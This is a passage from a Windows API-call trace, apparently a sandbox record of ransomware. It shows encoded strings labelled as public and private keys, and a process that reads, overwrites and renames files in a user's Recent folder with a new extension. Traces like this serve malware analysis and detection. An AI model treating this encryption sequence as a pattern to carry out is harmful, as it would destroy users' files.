OKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0079.466] GetCurrentThreadId () returned 0xa30 [0079.466] GetCurrentThreadId () returned 0xa30 [0079.466] GetCurrentThreadId () returned 0xa30 [0079.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.467] GetCurrentThreadId () returned 0xa30 [0079.467] GetCurrentThreadId () returned 0xa30 [0079.467] GetCurrentThreadId () returned 0xa30 [0079.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5lN31fAPZCnHRtzpRQ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5ln31fapzcnhrtzprq.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.467] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.467] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.467] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa8f [0079.468] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.468] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa8f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa8f, lpOverlapped=0x0) returned 1 [0079.469] CloseHandle (hObject=0x124) returned 1 [0079.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5lN31fAPZCnHRtzpRQ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5ln31fapzcnhrtzprq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.501] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa8f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa8f, lpOverlapped=0x0) returned 1 [0079.520] CloseHandle (hObject=0x124) returned 1 [0079.537] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5lN31fAPZCnHRtzpRQ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5ln31fapzcnhrtzprq.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5lN31fAPZCnHRtzpRQ.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5ln31fapzcnhrtzprq.lnk.zv7un")) returned 1 [0079.538] GetCurrentThreadId () returned 0xa30 [0079.539] GetCurrentThreadId () returned 0xa30 [0079.539] GetCurrentThreadId () returned 0xa30 [0079.539] GetCurrentThreadId () returned 0xa30 [0079.539] GetCurrentThreadId () returned 0xa30 [0079.539] GetCurrentThreadId () returned 0xa30 [0079.539] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2840900, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2840900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2840900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20bb, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="608WYNFO5klObV.ots.lnk", cAlternateFileName="608WYN~1.LNK")) returned 1 [0079.539] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.539] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\608WYNFO5klObV.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\608wynfo5klobv.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2840900, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2840900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2840900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20bb)) returned 1 [0079.539] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\608WYNFO5klObV.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\608wynfo5klobv.ots.lnk")) returned 0x20 [0079.539] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\608WYNFO5klObV.ots.lnk", dwFileAttributes=0x80) returned 1 [0079.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.542] GetCurrentThreadId () returned 0xa30 [0079.542] GetCurrentThreadId () returned 0xa30 [0079.542] GetCurrentThreadId () returned 0xa30 [0079.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMO